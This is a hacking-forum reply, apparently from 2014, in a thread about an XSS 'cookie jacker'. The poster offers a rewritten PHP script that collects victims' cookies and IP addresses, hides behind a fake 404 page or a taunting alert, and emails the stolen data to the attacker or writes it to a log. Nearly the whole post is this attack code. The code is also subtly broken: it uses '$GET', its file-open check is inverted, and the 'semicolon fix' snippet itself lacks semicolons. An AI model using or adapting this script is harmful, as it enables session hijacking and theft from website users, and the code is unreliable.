RE: Cookie Jacker - Written in PHP [XSS] 04-13-2014, 07:16 PM
#11
You also forgot semicolons:
I would've written it something like:
PHP Code:
fwrite($oven,$message)
fclose($oven)
I would've written it something like:
PHP Code:
<?php
/* configuration */
$show_alert = FALSE; // show alert, otherwise faked 404 page
$email_addr = 'youremail@domain.com'; // email to send data to
$logfile = 'log.txt'; // logfile filepath
$send_email = TRUE; // send email, otherwise write to logfile
/* page display */
$alert = "<script>alert('All your cookies are mine.')</script>";
$fake_page = "<html><head><h1>404 File Not Found</h1></head></html>";
echo $show_alert ? $alert : $fake_page;
/* message to write to log file or send in email */
$msg = "IP Address: {$_SERVER['REMOTE_ADDR']}\nCookies: {$GET['REQUEST']}";
if ($send_email) {
mail($email_addr, 'Cookies', $msg);
} else {
if (($f_handle = fopen($logfile, 'a')) !== FALSE) exit();
fwrite($f_handle, $msg);
fclose($f_handle);
}
?>![[+]](https://sinister.li/images/modern/collapse_collapsed.png)
